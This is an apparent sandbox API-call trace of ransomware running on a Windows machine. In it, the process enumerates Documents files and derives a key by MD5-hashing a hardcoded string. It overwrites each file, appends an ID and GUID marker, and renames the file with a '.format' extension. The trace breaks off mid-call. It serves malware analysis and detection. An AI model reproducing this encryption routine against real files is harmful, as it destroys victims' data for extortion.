[0068.769] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.770] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.770] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.770] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd607, lpOverlapped=0x0) returned 1 [0068.770] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.770] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.770] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.770] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.770] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.771] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.771] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.771] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.771] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.771] GetLastError () returned 0x0 [0068.771] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.771] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.771] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd610) returned 0x32b2f40 [0068.772] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.772] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.772] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xd602, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xd602, lpOverlapped=0x0) returned 1 [0068.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.777] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd607, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.778] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.778] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.778] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.778] CloseHandle (hObject=0x5c8) returned 1 [0068.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0068.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0068.780] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\7rSet.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\7rset.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\7rSet.csv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\7rset.csv.format")) returned 1 [0068.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.780] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.781] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512de050, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0xb8f21dc0, ftLastAccessTime.dwHighDateTime=0x1d4cb34, ftLastWriteTime.dwLowDateTime=0xb8f21dc0, ftLastWriteTime.dwHighDateTime=0x1d4cb34, nFileSizeHigh=0x0, nFileSizeLow=0x3499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gx-9m.odt", cAlternateFileName="")) returned 1 [0068.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.782] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\gx-9m.odt") returned=".odt" [0068.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\gx-9m.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\gx-9m.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.782] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=13465) returned 1 [0068.782] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.785] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.785] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.786] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.786] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.786] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.786] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x3499, lpOverlapped=0x0) returned 1 [0068.786] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.786] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.786] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.786] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.786] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.787] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.787] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.787] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.787] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.787] GetLastError () returned 0x0 [0068.787] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.787] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.787] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x34a0) returned 0x32aa8e0 [0068.787] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.788] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.788] WriteFile (in: hFile=0x5c8, lpBuffer=0x32aa8e0*, nNumberOfBytesToWrite=0x3494, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32aa8e0*, lpNumberOfBytesWritten=0x38cfb24*=0x3494, lpOverlapped=0x0) returned 1 [0068.788] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32aa8e0 | out: hHeap=0x5d0000) returned 1 [0068.788] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.788] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.788] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.788] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.788] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.788] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.788] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.788] CloseHandle (hObject=0x5c8) returned 1 [0068.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0068.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0068.790] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\gx-9m.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\gx-9m.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\gx-9m.odt.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\gx-9m.odt.format")) returned 1 [0068.790] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.790] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.791] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d35ea0, ftCreationTime.dwHighDateTime=0x1d4cca0, ftLastAccessTime.dwLowDateTime=0x961c7bb0, ftLastAccessTime.dwHighDateTime=0x1d4ca3a, ftLastWriteTime.dwLowDateTime=0x961c7bb0, ftLastWriteTime.dwHighDateTime=0x1d4ca3a, nFileSizeHigh=0x0, nFileSizeLow=0x10a4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h72CJ5GET.ots", cAlternateFileName="H72CJ5~1.OTS")) returned 1 [0068.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.791] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\h72CJ5GET.ots") returned=".ots" [0068.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\h72CJ5GET.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\h72cj5get.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.792] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=68171) returned 1 [0068.792] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.795] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10a25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.795] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.795] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.795] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.796] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10a4b, lpOverlapped=0x0) returned 1 [0068.796] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.796] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.796] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.796] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.797] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.797] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.797] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.797] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.797] GetLastError () returned 0x0 [0068.797] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.797] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10a50) returned 0x32b2f40 [0068.797] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.798] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x10a46, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x10a46, lpOverlapped=0x0) returned 1 [0068.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.798] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10a4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.798] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.798] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.798] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.798] CloseHandle (hObject=0x5c8) returned 1 [0068.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0068.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.800] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\h72CJ5GET.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\h72cj5get.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\h72CJ5GET.ots.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\h72cj5get.ots.format")) returned 1 [0068.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.800] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.801] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e55ca50, ftCreationTime.dwHighDateTime=0x1d4c785, ftLastAccessTime.dwLowDateTime=0x5661c490, ftLastAccessTime.dwHighDateTime=0x1d4cd2c, ftLastWriteTime.dwLowDateTime=0x5661c490, ftLastWriteTime.dwHighDateTime=0x1d4cd2c, nFileSizeHigh=0x0, nFileSizeLow=0xeeec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I_dy9.xlsx", cAlternateFileName="I_DY9~1.XLS")) returned 1 [0068.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.801] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\I_dy9.xlsx") returned=".xlsx" [0068.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\I_dy9.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\i_dy9.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.802] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=61164) returned 1 [0068.802] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.804] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xeec6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.804] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.805] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.805] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xeeec, lpOverlapped=0x0) returned 1 [0068.806] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.806] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.806] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.806] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.806] CryptAcquireContextW (in: phProv=0x38cfa94, 